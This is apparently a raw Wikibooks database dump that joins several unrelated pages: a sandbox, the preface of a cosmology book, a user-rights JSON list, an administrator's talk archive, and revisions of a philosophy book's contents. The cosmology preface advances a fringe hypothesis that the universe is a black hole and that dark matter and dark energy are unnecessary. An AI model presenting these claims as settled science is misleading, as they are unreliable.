'''ESO''' (Educació Secundaria Obligatòria) * '''CFGM de SMX''' (Cicle Formatiu de Grau Mitjà de Sistemes Informàtics en Xarxa) * '''CFGS de DAW''' (Cicle Formatiu de Grau Superior de Desenvolupament d'Aplicacions Web) === '''<u>TITULACIONS:</u>''' === * '''ESO''' (Educació Secundaria Obligatòria) * '''CFGM de SMX''' (Cicle Formatiu de Grau Mitjà de Sistemes Informàtics en Xarxa) sjoyaxp38g168mi44xeczw5e4awvzut 4670761 4670697 2026-09-18T00:00:35Z JackBot 396820 Bot: Automatically cleaned 4670761 wikitext text/x-wiki {{Sandbox heading}} <!-- Hello! Feel free to try your formatting and editing skills below this line. As this page is for editing experiments, this page will automatically be cleaned every 12 hours. --> efa5udpbb942msq2oco4mlj2yz47q14 0 468149 4670664 4618090 2026-09-17T14:11:28Z Bautsch 630029 homogeneity 4670664 wikitext text/x-wiki <noinclude> {{Chapter navigation||Brief historical review}} </noinclude> == Preface== === Summary === * '''Retarded gravitational potentials''' of a very large spherical shell with mass. * '''Acceleration forces''' on objects with mass within such a shell. * Concept of the '''Schwarzschild distance''' from the outer invisible surface of such a shell ("'''black shell'''") to the limit of the visible universe. * '''Gravitational redshift''' due to the mass of the black shell. * '''Evolution of the Schwarzschild distance''' due to the continuously increasing mass of the black shell in an isotropic universe. === Abstract === The principles of '''retarded gravitational potentials''' are presented and explained. The application of retarded gravitational potentials to an expanding spherical shell of matter with a large mass (a "black shell") leads to '''acceleration forces''' on moving objects within such a huge shell. The concept of a '''Schwarzschild distance''' from the inner surface of a hollow spherical cap to the outer Hubble sphere respectively the light cone of the universe is introduced. This can be used to determine equivalent spherical masses acting on a sample mass and which can provide information about the isotropic evolution of the inhomogeneous universe. The '''Schwarzschild limit''' is referred to as the inner surface of the hollow spherical cap, and therefore, to the outer limit of the visible universe. The unexpected high values of the cosmological redshift that are observed at extremely far astronomical objects including the cosmic microwave background could be related to the strong asymmetrical effect of the gravitation of the outer black shell of the universe. Due to the integrative effect of the retarded gravitational potentials of a concave shaped spherical black shell the gravitational forces of masses within the Schwarzschild distance are so enormous that the light from any atoms can no longer reach us. Exactly at the boundary to our visible universe, the '''gravitational redshift''' is infinite, just like on the surface of a convex shaped spherical black hole. Since an object with the mass of our universe has a Schwarzschild radius which is almost equal to the Hubble radius of our universe leads to the conclusion, that our universe is a black hole. Therefore, we live within a black hole, and nevertheless we do not see any singularity in its interior that is postulated by general relativity. The '''evolvement of the Schwarzschild distance''' due to the continuously increasing mass of the outer invisible shell of our universe has two inflection points around the very points in time and space, where the cosmic microwave background as well as the youngest galaxies can be observed today. The strongly increasing Schwarzschild distance between these two points in time goes hand in hand with the postulated massive transformation of dark matter to dark energy. Therefore, the effect of retarded gravitational potentials could also contribute to the explanation of the accelerated expansion of the universe, which often is related to the effect of dark energy. The consideration of retarded gravitational potentials can provide explanations for the inhomogeneous development of the universe without the need to introduce a cosmic constant <math>\Lambda</math>, dark matter or dark energy. This model not only violates the somewhat strange cosmic principle of homogeneity, but it even makes it obsolete. It seems that the hypothesis of relevant matter that continuously moves beyond the event horizon of our visible universe could open the gates for further interesting investigations and findings. Maybe this can give an explanation for the Hubble tension, which is a discrepancy between the expansion rates derived for the cosmic microwave background and for far supernovas. This new approach also includes the possibility of an increasing '''gravitational constant''' over time as well as the reason of the identity of the '''Schwarzschild radius of the universe''' and the '''Hubble radius'''. The evolvement of the '''inhomogeneous''' universe with an outer spherical shell with an increasing baryonic mass can explain primordial structures that are observed more and increasingly frequently but cannot be described either by the Friedman equations or the '''Lambda-CDM''' ('''Λ''' '''C'''old '''D'''ark '''M'''atter) model. A shorter version of this Wikibook is available on Research Gate.<ref>{{Cite web|last=Bautsch |first=Markus |date=2024 |title=Retarded gravitational potentials on the scale of the universe |url=https://rgdoi.net/10.13140/RG.2.2.27349.23529 |language=en}}</ref> ===References=== <references></references> h19a0u6bkysr7fojoi9vwrr2lqmt0j8 2 471107 4670854 4670565 2026-09-18T02:49:14Z JJPMaster (bot) 3488561 Bot: Updating markAdmins data 4670854 json application/json { ".snoopy.": [ "global-rollbacker", "editor" ], "1234qwer1234qwer4": [ "editor", "steward" ], "157yagz5r48a5f1a1f": [ "editor" ], "1997kB": [ "global-rollbacker", "global-renamer", "editor" ], "1F616EMO": [ "global-renamer" ], "1exec1": [ "transwiki", "editor" ], "1sfoerster": [ "editor" ], "20041027 tatsu": [ "global-rollbacker" ], "2005-Fan": [ "transwiki", "editor", "uploader" ], "331dot": [ "global-renamer" ], "33rogers": [ "editor" ], "3MMPEYTON": [ "editor" ], "4PlayerChess": [ "autoreview" ], "4pillars": [ "editor" ], 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Джепко": [ "editor" ], "יהודה שמחה ולדמן": [ "editor" ], "מקף": [ "global-rollbacker", "global-renamer" ], "د. فارس الجويلي": [ "global-renamer" ], "روتانا": [ "global-renamer" ], "علاء": [ "steward", "vrt-permissions" ], "فيصل": [ "global-renamer", "vrt-permissions" ], "सीमा1": [ "editor" ], "タチコマ robot": [ "editor" ], "ネイ": [ "global-renamer" ], "一隻北極熊": [ "editor" ], "人间百态": [ "global-rollbacker" ], "臺灣象象": [ "autoreview" ], "范": [ "vrt-permissions" ], "魔琴": [ "global-rollbacker" ], "ꠢꠣꠍꠘ ꠞꠣꠎꠣ": [ "editor" ], "기나ㅏㄴ": [ "global-rollbacker", "global-renamer" ] } po2si0k4gs3r9z7dk4h6t8xsop2hb2p 3 472066 4670851 4635516 2026-09-18T02:35:02Z Max 3430028 Max moved page [[User talk:SHB2000/Archive 2]] to [[User talk:SHB/Archive 2]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4635516 wikitext text/x-wiki {{talkarchive}} == How did you do it? == How did you do the mass-deletion of the IP edits I requested on Meta? You did all of them within one minute, but there is no [[Special:Nuke|Nuke]] tag. Did you use an alternative script, or are you just really fast at clicking the "Delete" button? [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 00:47, 18 January 2025 (UTC) :I use All-in-one on projects that I've been locally appointed to a sysop – it's a massive gamer changer haha. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 00:49, 18 January 2025 (UTC) ::[[m:User:WhitePhosphorus/all-in-one]] for reference. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 00:50, 18 January 2025 (UTC) == On a deletion you made in July of last year == You deleted [[The Christian meaning of life]] as a result of a query, however you did not delete its subpages. Therefore, the root page was recreated today, with all of the subpage links intact, which was a bit odd. [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 05:51, 21 January 2025 (UTC) :Oh whoops – I queried all of them again, probs best to delete then in 1 week. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 06:00, 21 January 2025 (UTC) ::The author has now said that it was a "book draft" and would like a "draft template" to be added. What should be done here? [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 16:07, 21 January 2025 (UTC) :::I don't get involved with content work here, unfortunately. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 23:03, 21 January 2025 (UTC) == My RFPs == As a note, you combined the permission requests for my bot and I onto [[Wikibooks:Requests for permissions/JJPMaster (bot)]]. Was this intended? [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 01:05, 2 February 2025 (UTC) :Okay, facepalm on me. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 01:05, 2 February 2025 (UTC) == how frequently should I add content? == I see that all my pages were deleted. How frequently am I required to keep contributing? Is the minimum making a contribution once a week? Is it possible to recover the content that was deleted? This is a long term project that I am trying to slowly build. [[User:Tkojar|Tkojar]] ([[User talk:Tkojar|discuss]] • [[Special:Contributions/Tkojar|contribs]]) 19:19, 24 April 2025 (UTC) :No, there is no minimum number of contributions required at all; this is a volunteer site. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 23:21, 24 April 2025 (UTC) == Thanks for deleting the obsolete Oberon pages == ... [[User:PeterEasthope|PeterEasthope]] ([[User talk:PeterEasthope|discuss]] • [[Special:Contributions/PeterEasthope|contribs]]) 17:25, 13 July 2025 (UTC) == You may be an eligible candidate for the U4C election == <div lang="en" dir="ltr" class="mw-content-ltr"> Greetings, The [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee|Universal Code of Conduct Coordinating Committee (U4C)]] seeks candidates for the 2026 election. The U4C is the global committee responsible for overseeing enforcement of the [[foundation:Special:MyLanguage/Policy:Universal Code of Conduct|Universal Code of Conduct]]. Elections are held annually, if elected a committee member serves for two years. This year the U4C requires candidates to hold administrator rights on at least one wiki, which is why you are being contacted as you appear to hold this right. There are other requirements, such as candidates must be at least 18 years old and may not be employed by the Wikimedia Foundation or other related chapters and affiliates. You can find more information in the [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026#Call_for_Candidates|call for candidates on Meta-wiki]]. Additionally, the committee's working language is English; some ability to communicate in English is required. The election opens on 18 May, if you are eligible and interested you have until 10 May to submit your candidacy. There will week between for candidates to answer questions from the community. Voting takes place privately in [[m:Special:MyLanguage/SecurePoll|SecurePoll]], successful candidates must receive at least 60% support. More information is available on [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026|the 2026 Elections page]], including timelines and other candidacy information. If you read over the material and consider yourself qualified, please consider submitting your name to run for the committee. If you think someone else in your community might be interested and qualified, please encourage them to run. In partnership with the U4C -- [[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User_talk:Keegan (WMF)|talk]]) 18:32, 28 April 2026 (UTC) </div> <!-- Message sent by User:Keegan (WMF)@metawiki using the list at https://meta.wikimedia.org/w/index.php?title=User:Keegan_(WMF)/test&oldid=30471751 --> jt6u5qy0hhzqdkaufu2e88qneqwpcwh 0 476838 4670723 4670333 2026-09-17T23:30:48Z DavidCota64 3507033 Repair index links after canonical page moves; link all existing subpages and correct Emergent naming 4670723 wikitext text/x-wiki [[File:Foundations of the Ontology of Emergent Complexity Cover.png|center|frameless|1200px]] == Contents == [[/Preface/|Preface]] [[/Introduction/|Introduction]] == [[/Philosophical Commitments/|1. Philosophical Commitments]] == * [[/Philosophical Commitments/Refusal of Metaphysical Dualism/|1.1 - Refusal of Metaphysical Dualism]] ** [[/Philosophical Commitments/Refusal of Metaphysical Dualism/Reading Colloquium/|Reading Colloquium]] * [[/Philosophical Commitments/Against the Invention of Two Worlds/|1.2 - Against the Invention of Two Worlds]] * [[/Philosophical Commitments/Matter Thinks — But Not Like a Subject/|1.3 - Matter Thinks — But Not Like a Subject]] * [[/Philosophical Commitments/The Symbol Is Not Transcendent/|1.4 - The Symbol Is Not Transcendent]] * [[/Philosophical Commitments/No Ground, No Soul, No Plan/|1.5 - No Ground, No Soul, No Plan]] * [[/Philosophical Commitments/Matter as the Only Substrate/|1.6 - Matter as the Only Substrate]] * [[/Philosophical Commitments/Instability as a Condition, not a Problem/|1.7 - Instability as a Condition, not a Problem]] == 2. Method and Style == * [[/Method and Style/Thought as Singular Response/|2.1 - Thought as Singular Response]] * [[/Method and Style/Listening as Ontological Exposure/|2.2 - Listening as Ontological Exposure]] * [[/Method and Style/No Redemption, No Teleology/|2.3 - No Redemption, No Teleology]] == 3. Core Concepts == === 3.1 Complexity, Relation, Excess === * [[/Complexity, Relation, Excess/I - The Refusal of Linear Complexity|3.1.1 - The Refusal of Linear Complexity]] * [[/Complexity, Relation, Excess/II - Relational Tension as Ontological Principle|3.1.2 - Relational Tension as Ontological Principle]] * [[/Complexity, Relation, Excess/III - Stability Is Not Continuity|3.1.3 - Stability Is Not Continuity]] === 3.2 Emergence Without Origin === There is no beginning. Only irruption. Not succession, not consequence. Not lack, not projection. Origin has never been origin. It has always been interpretation, inscription, reconfiguration. * [[/Emergence Without Origin/I - The Regime of Precedence|3.2.1 - The Regime of Precedence]] * [[/Emergence Without Origin/II - The Classical Substrate: Substance and Necessity|3.2.2 - The Classical Substrate: Substance and Necessity]] * [[/Emergence Without Origin/III - Modernity’s Continuation: Foundation and Structure|3.2.3 - Modernity’s Continuation: Foundation and Structure]] * [[/Emergence Without Origin/IV - Critical Displacement without Abandonment|3.2.4 - Critical Displacement without Abandonment]] * [[/Emergence Without Origin/V - The Irruption Without Ground|3.2.5 - The Irruption Without Ground]] * [[/Emergence Without Origin/VI - Language and Logic as Prison of Sequence|3.2.6 - Language and Logic as Prison of Sequence]] * [[/Emergence Without Origin/VII - Affirmation: From Precedence to Insistence|3.2.7 - Affirmation: From Precedence to Insistence]] === 3.3 Order as Local Effect === * [[/Order as Local Effect/I - Against Order as Principle|3.3.1 - Against Order as Principle]] * [[/Order as Local Effect/II - The Emergence of Order as an Ephemeral Torsion of the Unstable Field|3.3.2 - The Emergence of Order as an Ephemeral Torsion of the Unstable Field]] * [[/Order as Local Effect/III - Order as an Effect of Functional Coupling|3.3.3 - Order as an Effect of Functional Coupling]] * [[/Order as Local Effect/IV - The Retrospective Illusion of Origin: Order as Post-Nomination|3.3.4 - The Retrospective Illusion of Origin: Order as Post-Nomination]] * [[/Order as Local Effect/V - Order as a Symbolic Gesture Without an Author|3.3.5 - Order as a Symbolic Gesture Without an Author]] * [[/Order as Local Effect/VI - Unthinkability of Absolute Order: The Real as a Field of Variation|3.3.6 - Unthinkability of Absolute Order: The Real as a Field of Variation]] * [[/Order as Local Effect/VII - Ontological and Ethical Consequences|3.3.7 - Ontological and Ethical Consequences]] ** [[/Order as Local Effect/VII - Ontological and Ethical Consequences/Reading Colloquium/|Reading Colloquium]] == 4. Ethical and Political Implications == * [[/4.1 Vulnerability Without Center/|4.1 Vulnerability Without Center]] ** [[/4.1 Vulnerability Without Center/Reading Colloquium/|Reading Colloquium]] * [[/4.2 Ethics as Symbolic Reorganization/|4.2 Ethics as Symbolic Reorganization]] * [[/4.3 Politics Beyond the Subject/|4.3 Politics Beyond the Subject]] == 5. Critical Dialogues with Tradition == * [[/5.1 Displacement of Classical Ontologies/|5.1 Displacement of Classical Ontologies]] * [[/5.2 Limits of Modern Rationalism/|5.2 Limits of Modern Rationalism]] * [[/5.3 Ambiguities of Post-Structuralism/|5.3 Ambiguities of Post-Structuralism]] == 6. Lexicon and Variations == * [[/6.1 – Key Terms of the OEC/|6.1 – Key Terms of the OEC]] * [[/6.2 – Ontological Variations/|6.2 – Ontological Variations]] * [[/6.3 – How to Read the Lexicon/|6.3 – How to Read the Lexicon]] == 7. Bibliography and Influences == * [[/7.1 – Philosophical Interlocutors/|7.1 – Philosophical Interlocutors]] * [[/7.2 – Conceptual Sources/|7.2 – Conceptual Sources]] * [[/References/|7.3 – References]] * [[/7.4 – Further Readings and Connections/|7.4 – Further Readings and Connections]] == Supplementary material == * [[/Theoretical Appendix/|Theoretical Appendix]] ---- ''This book, written by David Cota, is part of the institutional foundation of the Ontology of Emergent Complexity, established in 2020. ([http://en.travessia.online travessia.online])'' -------------------------------------------------------------- {{BookCat}} __INDEX__ __NEWSECTIONLINK__ a6rtuxpxunc25k03q6a7csyvqh1fqcw 4670774 4670723 2026-09-18T00:48:01Z DavidCota64 3507033 Update the existing Travessia link to the canonical HTTPS address 4670774 wikitext text/x-wiki [[File:Foundations of the Ontology of Emergent Complexity Cover.png|center|frameless|1200px]] == Contents == [[/Preface/|Preface]] [[/Introduction/|Introduction]] == [[/Philosophical Commitments/|1. Philosophical Commitments]] == * [[/Philosophical Commitments/Refusal of Metaphysical Dualism/|1.1 - Refusal of Metaphysical Dualism]] ** [[/Philosophical Commitments/Refusal of Metaphysical Dualism/Reading Colloquium/|Reading Colloquium]] * [[/Philosophical Commitments/Against the Invention of Two Worlds/|1.2 - Against the Invention of Two Worlds]] * [[/Philosophical Commitments/Matter Thinks — But Not Like a Subject/|1.3 - Matter Thinks — But Not Like a Subject]] * [[/Philosophical Commitments/The Symbol Is Not Transcendent/|1.4 - The Symbol Is Not Transcendent]] * [[/Philosophical Commitments/No Ground, No Soul, No Plan/|1.5 - No Ground, No Soul, No Plan]] * [[/Philosophical Commitments/Matter as the Only Substrate/|1.6 - Matter as the Only Substrate]] * [[/Philosophical Commitments/Instability as a Condition, not a Problem/|1.7 - Instability as a Condition, not a Problem]] == 2. Method and Style == * [[/Method and Style/Thought as Singular Response/|2.1 - Thought as Singular Response]] * [[/Method and Style/Listening as Ontological Exposure/|2.2 - Listening as Ontological Exposure]] * [[/Method and Style/No Redemption, No Teleology/|2.3 - No Redemption, No Teleology]] == 3. Core Concepts == === 3.1 Complexity, Relation, Excess === * [[/Complexity, Relation, Excess/I - The Refusal of Linear Complexity|3.1.1 - The Refusal of Linear Complexity]] * [[/Complexity, Relation, Excess/II - Relational Tension as Ontological Principle|3.1.2 - Relational Tension as Ontological Principle]] * [[/Complexity, Relation, Excess/III - Stability Is Not Continuity|3.1.3 - Stability Is Not Continuity]] === 3.2 Emergence Without Origin === There is no beginning. Only irruption. Not succession, not consequence. Not lack, not projection. Origin has never been origin. It has always been interpretation, inscription, reconfiguration. * [[/Emergence Without Origin/I - The Regime of Precedence|3.2.1 - The Regime of Precedence]] * [[/Emergence Without Origin/II - The Classical Substrate: Substance and Necessity|3.2.2 - The Classical Substrate: Substance and Necessity]] * [[/Emergence Without Origin/III - Modernity’s Continuation: Foundation and Structure|3.2.3 - Modernity’s Continuation: Foundation and Structure]] * [[/Emergence Without Origin/IV - Critical Displacement without Abandonment|3.2.4 - Critical Displacement without Abandonment]] * [[/Emergence Without Origin/V - The Irruption Without Ground|3.2.5 - The Irruption Without Ground]] * [[/Emergence Without Origin/VI - Language and Logic as Prison of Sequence|3.2.6 - Language and Logic as Prison of Sequence]] * [[/Emergence Without Origin/VII - Affirmation: From Precedence to Insistence|3.2.7 - Affirmation: From Precedence to Insistence]] === 3.3 Order as Local Effect === * [[/Order as Local Effect/I - Against Order as Principle|3.3.1 - Against Order as Principle]] * [[/Order as Local Effect/II - The Emergence of Order as an Ephemeral Torsion of the Unstable Field|3.3.2 - The Emergence of Order as an Ephemeral Torsion of the Unstable Field]] * [[/Order as Local Effect/III - Order as an Effect of Functional Coupling|3.3.3 - Order as an Effect of Functional Coupling]] * [[/Order as Local Effect/IV - The Retrospective Illusion of Origin: Order as Post-Nomination|3.3.4 - The Retrospective Illusion of Origin: Order as Post-Nomination]] * [[/Order as Local Effect/V - Order as a Symbolic Gesture Without an Author|3.3.5 - Order as a Symbolic Gesture Without an Author]] * [[/Order as Local Effect/VI - Unthinkability of Absolute Order: The Real as a Field of Variation|3.3.6 - Unthinkability of Absolute Order: The Real as a Field of Variation]] * [[/Order as Local Effect/VII - Ontological and Ethical Consequences|3.3.7 - Ontological and Ethical Consequences]] ** [[/Order as Local Effect/VII - Ontological and Ethical Consequences/Reading Colloquium/|Reading Colloquium]] == 4. Ethical and Political Implications == * [[/4.1 Vulnerability Without Center/|4.1 Vulnerability Without Center]] ** [[/4.1 Vulnerability Without Center/Reading Colloquium/|Reading Colloquium]] * [[/4.2 Ethics as Symbolic Reorganization/|4.2 Ethics as Symbolic Reorganization]] * [[/4.3 Politics Beyond the Subject/|4.3 Politics Beyond the Subject]] == 5. Critical Dialogues with Tradition == * [[/5.1 Displacement of Classical Ontologies/|5.1 Displacement of Classical Ontologies]] * [[/5.2 Limits of Modern Rationalism/|5.2 Limits of Modern Rationalism]] * [[/5.3 Ambiguities of Post-Structuralism/|5.3 Ambiguities of Post-Structuralism]] == 6. Lexicon and Variations == * [[/6.1 – Key Terms of the OEC/|6.1 – Key Terms of the OEC]] * [[/6.2 – Ontological Variations/|6.2 – Ontological Variations]] * [[/6.3 – How to Read the Lexicon/|6.3 – How to Read the Lexicon]] == 7. Bibliography and Influences == * [[/7.1 – Philosophical Interlocutors/|7.1 – Philosophical Interlocutors]] * [[/7.2 – Conceptual Sources/|7.2 – Conceptual Sources]] * [[/References/|7.3 – References]] * [[/7.4 – Further Readings and Connections/|7.4 – Further Readings and Connections]] == Supplementary material == * [[/Theoretical Appendix/|Theoretical Appendix]] ---- ''This book, written by David Cota, is part of the institutional foundation of the Ontology of Emergent Complexity, established in 2020. ([https://travessia.online/ travessia.online])'' -------------------------------------------------------------- {{BookCat}} __INDEX__ __NEWSECTIONLINK__ ikdka659lp5klsm2mivculo030y6pts 4670793 4670774 2026-09-18T01:44:55Z DavidCota64 3507033 Apply British English to visible contents labels 4670793 wikitext text/x-wiki [[File:Foundations of the Ontology of Emergent Complexity Cover.png|center|frameless|1200px]] == Contents == [[/Preface/|Preface]] [[/Introduction/|Introduction]] == [[/Philosophical Commitments/|1. Philosophical Commitments]] == * [[/Philosophical Commitments/Refusal of Metaphysical Dualism/|1.1 - Refusal of Metaphysical Dualism]] ** [[/Philosophical Commitments/Refusal of Metaphysical Dualism/Reading Colloquium/|Reading Colloquium]] * [[/Philosophical Commitments/Against the Invention of Two Worlds/|1.2 - Against the Invention of Two Worlds]] * [[/Philosophical Commitments/Matter Thinks — But Not Like a Subject/|1.3 - Matter Thinks — But Not Like a Subject]] * [[/Philosophical Commitments/The Symbol Is Not Transcendent/|1.4 - The Symbol Is Not Transcendent]] * [[/Philosophical Commitments/No Ground, No Soul, No Plan/|1.5 - No Ground, No Soul, No Plan]] * [[/Philosophical Commitments/Matter as the Only Substrate/|1.6 - Matter as the Only Substrate]] * [[/Philosophical Commitments/Instability as a Condition, not a Problem/|1.7 - Instability as a Condition, not a Problem]] == 2. Method and Style == * [[/Method and Style/Thought as Singular Response/|2.1 - Thought as Singular Response]] * [[/Method and Style/Listening as Ontological Exposure/|2.2 - Listening as Ontological Exposure]] * [[/Method and Style/No Redemption, No Teleology/|2.3 - No Redemption, No Teleology]] == 3. Core Concepts == === 3.1 Complexity, Relation, Excess === * [[/Complexity, Relation, Excess/I - The Refusal of Linear Complexity|3.1.1 - The Refusal of Linear Complexity]] * [[/Complexity, Relation, Excess/II - Relational Tension as Ontological Principle|3.1.2 - Relational Tension as Ontological Principle]] * [[/Complexity, Relation, Excess/III - Stability Is Not Continuity|3.1.3 - Stability Is Not Continuity]] === 3.2 Emergence Without Origin === There is no beginning. Only irruption. Not succession, not consequence. Not lack, not projection. Origin has never been origin. It has always been interpretation, inscription, reconfiguration. * [[/Emergence Without Origin/I - The Regime of Precedence|3.2.1 - The Regime of Precedence]] * [[/Emergence Without Origin/II - The Classical Substrate: Substance and Necessity|3.2.2 - The Classical Substrate: Substance and Necessity]] * [[/Emergence Without Origin/III - Modernity’s Continuation: Foundation and Structure|3.2.3 - Modernity’s Continuation: Foundation and Structure]] * [[/Emergence Without Origin/IV - Critical Displacement without Abandonment|3.2.4 - Critical Displacement without Abandonment]] * [[/Emergence Without Origin/V - The Irruption Without Ground|3.2.5 - The Irruption Without Ground]] * [[/Emergence Without Origin/VI - Language and Logic as Prison of Sequence|3.2.6 - Language and Logic as Prison of Sequence]] * [[/Emergence Without Origin/VII - Affirmation: From Precedence to Insistence|3.2.7 - Affirmation: From Precedence to Insistence]] === 3.3 Order as Local Effect === * [[/Order as Local Effect/I - Against Order as Principle|3.3.1 - Against Order as Principle]] * [[/Order as Local Effect/II - The Emergence of Order as an Ephemeral Torsion of the Unstable Field|3.3.2 - The Emergence of Order as an Ephemeral Torsion of the Unstable Field]] * [[/Order as Local Effect/III - Order as an Effect of Functional Coupling|3.3.3 - Order as an Effect of Functional Coupling]] * [[/Order as Local Effect/IV - The Retrospective Illusion of Origin: Order as Post-Nomination|3.3.4 - The Retrospective Illusion of Origin: Order as Post-Nomination]] * [[/Order as Local Effect/V - Order as a Symbolic Gesture Without an Author|3.3.5 - Order as a Symbolic Gesture Without an Author]] * [[/Order as Local Effect/VI - Unthinkability of Absolute Order: The Real as a Field of Variation|3.3.6 - Unthinkability of Absolute Order: The Real as a Field of Variation]] * [[/Order as Local Effect/VII - Ontological and Ethical Consequences|3.3.7 - Ontological and Ethical Consequences]] ** [[/Order as Local Effect/VII - Ontological and Ethical Consequences/Reading Colloquium/|Reading Colloquium]] == 4. Ethical and Political Implications == * [[/4.1 Vulnerability Without Center/|4.1 Vulnerability Without a Centre]] ** [[/4.1 Vulnerability Without Center/Reading Colloquium/|Reading Colloquium]] * [[/4.2 Ethics as Symbolic Reorganization/|4.2 Ethics as Symbolic Reorganisation]] * [[/4.3 Politics Beyond the Subject/|4.3 Politics Beyond the Subject]] == 5. Critical Dialogues with Tradition == * [[/5.1 Displacement of Classical Ontologies/|5.1 Displacement of Classical Ontologies]] * [[/5.2 Limits of Modern Rationalism/|5.2 Limits of Modern Rationalism]] * [[/5.3 Ambiguities of Post-Structuralism/|5.3 Ambiguities of Post-Structuralism]] == 6. Lexicon and Variations == * [[/6.1 – Key Terms of the OEC/|6.1 – Key Terms of the OEC]] * [[/6.2 – Ontological Variations/|6.2 – Ontological Variations]] * [[/6.3 – How to Read the Lexicon/|6.3 – How to Read the Lexicon]] == 7. Bibliography and Influences == * [[/7.1 – Philosophical Interlocutors/|7.1 – Philosophical Interlocutors]] * [[/7.2 – Conceptual Sources/|7.2 – Conceptual Sources]] * [[/References/|7.3 – References]] * [[/7.4 – Further Readings and Connections/|7.4 – Further Readings and Connections]] == Supplementary material == * [[/Theoretical Appendix/|Theoretical Appendix]] ---- ''This book, written by David Cota, is part of the institutional foundation of the Ontology of Emergent Complexity, established in 2020. ([https://travessia.online/ travessia.online])'' -------------------------------------------------------------- {{BookCat}} __INDEX__ __NEWSECTIONLINK__ dnhzxlton1rhknencyu1lstp5z4k6nx 4670797 4670793 2026-09-18T01:47:49Z DavidCota64 3507033 Link the new conclusion between the lexicon and bibliography 4670797 wikitext text/x-wiki [[File:Foundations of the Ontology of Emergent Complexity Cover.png|center|frameless|1200px]] == Contents == [[/Preface/|Preface]] [[/Introduction/|Introduction]] == [[/Philosophical Commitments/|1. Philosophical Commitments]] == * [[/Philosophical Commitments/Refusal of Metaphysical Dualism/|1.1 - Refusal of Metaphysical Dualism]] ** [[/Philosophical Commitments/Refusal of Metaphysical Dualism/Reading Colloquium/|Reading Colloquium]] * [[/Philosophical Commitments/Against the Invention of Two Worlds/|1.2 - Against the Invention of Two Worlds]] * [[/Philosophical Commitments/Matter Thinks — But Not Like a Subject/|1.3 - Matter Thinks — But Not Like a Subject]] * [[/Philosophical Commitments/The Symbol Is Not Transcendent/|1.4 - The Symbol Is Not Transcendent]] * [[/Philosophical Commitments/No Ground, No Soul, No Plan/|1.5 - No Ground, No Soul, No Plan]] * [[/Philosophical Commitments/Matter as the Only Substrate/|1.6 - Matter as the Only Substrate]] * [[/Philosophical Commitments/Instability as a Condition, not a Problem/|1.7 - Instability as a Condition, not a Problem]] == 2. Method and Style == * [[/Method and Style/Thought as Singular Response/|2.1 - Thought as Singular Response]] * [[/Method and Style/Listening as Ontological Exposure/|2.2 - Listening as Ontological Exposure]] * [[/Method and Style/No Redemption, No Teleology/|2.3 - No Redemption, No Teleology]] == 3. Core Concepts == === 3.1 Complexity, Relation, Excess === * [[/Complexity, Relation, Excess/I - The Refusal of Linear Complexity|3.1.1 - The Refusal of Linear Complexity]] * [[/Complexity, Relation, Excess/II - Relational Tension as Ontological Principle|3.1.2 - Relational Tension as Ontological Principle]] * [[/Complexity, Relation, Excess/III - Stability Is Not Continuity|3.1.3 - Stability Is Not Continuity]] === 3.2 Emergence Without Origin === There is no beginning. Only irruption. Not succession, not consequence. Not lack, not projection. Origin has never been origin. It has always been interpretation, inscription, reconfiguration. * [[/Emergence Without Origin/I - The Regime of Precedence|3.2.1 - The Regime of Precedence]] * [[/Emergence Without Origin/II - The Classical Substrate: Substance and Necessity|3.2.2 - The Classical Substrate: Substance and Necessity]] * [[/Emergence Without Origin/III - Modernity’s Continuation: Foundation and Structure|3.2.3 - Modernity’s Continuation: Foundation and Structure]] * [[/Emergence Without Origin/IV - Critical Displacement without Abandonment|3.2.4 - Critical Displacement without Abandonment]] * [[/Emergence Without Origin/V - The Irruption Without Ground|3.2.5 - The Irruption Without Ground]] * [[/Emergence Without Origin/VI - Language and Logic as Prison of Sequence|3.2.6 - Language and Logic as Prison of Sequence]] * [[/Emergence Without Origin/VII - Affirmation: From Precedence to Insistence|3.2.7 - Affirmation: From Precedence to Insistence]] === 3.3 Order as Local Effect === * [[/Order as Local Effect/I - Against Order as Principle|3.3.1 - Against Order as Principle]] * [[/Order as Local Effect/II - The Emergence of Order as an Ephemeral Torsion of the Unstable Field|3.3.2 - The Emergence of Order as an Ephemeral Torsion of the Unstable Field]] * [[/Order as Local Effect/III - Order as an Effect of Functional Coupling|3.3.3 - Order as an Effect of Functional Coupling]] * [[/Order as Local Effect/IV - The Retrospective Illusion of Origin: Order as Post-Nomination|3.3.4 - The Retrospective Illusion of Origin: Order as Post-Nomination]] * [[/Order as Local Effect/V - Order as a Symbolic Gesture Without an Author|3.3.5 - Order as a Symbolic Gesture Without an Author]] * [[/Order as Local Effect/VI - Unthinkability of Absolute Order: The Real as a Field of Variation|3.3.6 - Unthinkability of Absolute Order: The Real as a Field of Variation]] * [[/Order as Local Effect/VII - Ontological and Ethical Consequences|3.3.7 - Ontological and Ethical Consequences]] ** 